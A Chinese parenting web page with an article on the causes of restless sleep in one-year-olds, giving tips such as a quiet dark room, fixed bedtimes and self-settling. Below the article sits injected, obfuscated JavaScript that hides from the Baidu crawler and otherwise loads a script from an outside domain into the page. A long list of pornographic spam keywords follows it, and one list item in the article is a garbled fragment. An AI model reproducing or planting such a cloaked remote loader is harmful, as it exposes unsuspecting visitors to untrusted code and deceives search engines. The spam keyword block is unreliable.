當前位置:首頁 > 母嬰 > 育兒知識 > 正文

1歲寶寶睡覺不踏實的原因

2017-04-02 09:44:54  來源:360常識網   熱度:
導語:家長朋友們會發現很多的小寶寶,總是在晚上睡覺的時候受到影響,剛開始是一直哭鬧后來開始,動來動去,甚至說有的孩子到了晚上就不睡覺了,

家長朋友們會發現很多的小寶寶,總是在晚上睡覺的時候受到影響,剛開始是一直哭鬧后來開始,動來動去,甚至說有的孩子到了晚上就不睡覺了,這可把爸爸媽媽折騰的不輕,白天要上班,晚上還要帶孩子自己已經累的不行了,歲寶寶睡覺不踏實是什么原因呢!

寶寶晚上睡眠容易醒在排除睡眠環境及身體異常因素引起的外,一般都和寶寶的神經系統發育不完善有關,其睡眠以淺睡眠為主,在淺睡眠時有睜眼、吸吮、翻身、哭啼,有的還會抬頭張望,但這些動作大多是無意義的,即使睜眼也是無光的。而大人會誤以為其睡眠不好,抱起哄睡或喂哺等就中斷了淺睡眠期的寶寶。多次進行,就造成寶寶睡眠不好的習慣。所以,當寶寶在淺睡眠期出現各種動作、聲音時,家長可靜靜地等待5分鐘以上,再去關心,讓他自行調節進入深睡眠期。千萬不要應答、或有大的聲響驚醒他。隨著寶寶的生理發育會建立起良好的睡眠習慣的。寶寶睡覺前哭鬧是正常現象,只要給予適當安撫就可以了。寶寶缺鈣會引起睡眠不安、煩躁情況,建議在醫生的指導下給寶寶補充魚肝油和鈣劑,并多曬太陽,多吃含鈣豐富的食物。

建議參考一下以下一些方法,幫助您培養小兒的良好的睡眠習慣:

1. 睡眠環境必需安靜和較暗,室溫舒適,不過熱;

2. 嚴格實行入睡、起床的時間,加強生理節奏周期的培養;

3. 臥床時要吃飽,避免饑餓,上床時或夜間不宜飲水過多,以免因要小便而擾亂睡眠;

4. 小兒最好單獨睡小床。研究證明小兒單獨睡比和母親同床睡能睡得更好。小床可放在大床旁邊,便于照料;

5. 使小兒學會自己入睡,不要抱、拍搖著或含著奶頭入睡;

6. 睡眠前1~2小時避免劇烈活動或玩得太興奮;

7. 白天睡眠時間不宜過多。

8.如果入睡有困難,可在睡前洗溫水澡,做嬰兒按摩幫助入睡。

9.時間相對減少,夜間睡眠時間延長和晝夜節律形成等。

關于上面的文章當中,我們了解到了一歲寶寶睡覺不踏實,這是由于小孩子在睡覺的時候經常會出現這樣的現象,只要我們注意平時不要讓孩子玩得太興奮,注意輕輕地拍打孩子,不要給孩子養成抱著孩子睡覺的壞習慣。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品永久在线观看| 国产精品成人一区二区三区| 国产精品99久久精品爆乳| 亚洲精品视频在线免费| 国产福利精品在线观看| 国产精品lululu在线观看| 国产精品香蕉在线观看| 精品日产卡一卡二卡麻豆| 天美传媒精品1区2区3区| 久久亚洲精品无码网站| 人人鲁人人莫人人爱精品| 国产成人精品久久亚洲高清不卡 | 国产精品户外野外| 国产精品国产三级国产专播| 亚洲午夜国产精品无码老牛影视| 国产精品99亚发布| 久久精品国产久精国产思思| 中文字幕在线亚洲精品| 国产三级精品视频| 992tv精品视频tv在线观看| 久久的精品99精品66| 亚洲国产精品视频| 国内精品免费视频自在线| 亚洲男人的天堂久久精品| 日本精品久久久久中文字幕| 国产一精品一aⅴ一免费| 亚洲精品国产精品| 精品一区二区三区无码免费视频| 亚洲精品~无码抽插| 日韩精品电影在线观看| 日日夜夜精品免费视频| 91精品国产肉丝高跟在线| 亚洲中文字幕久久精品无码喷水 | 无码国产精品一区二区免费式影视 | 国产成人精品日本亚洲11| 99精品一区二区免费视频| 国产精品亚洲成在人线| 久久亚洲国产成人精品无码区| 久青草中文字幕精品视频| 国产精品免费视频网站| 精品国产电影久久九九|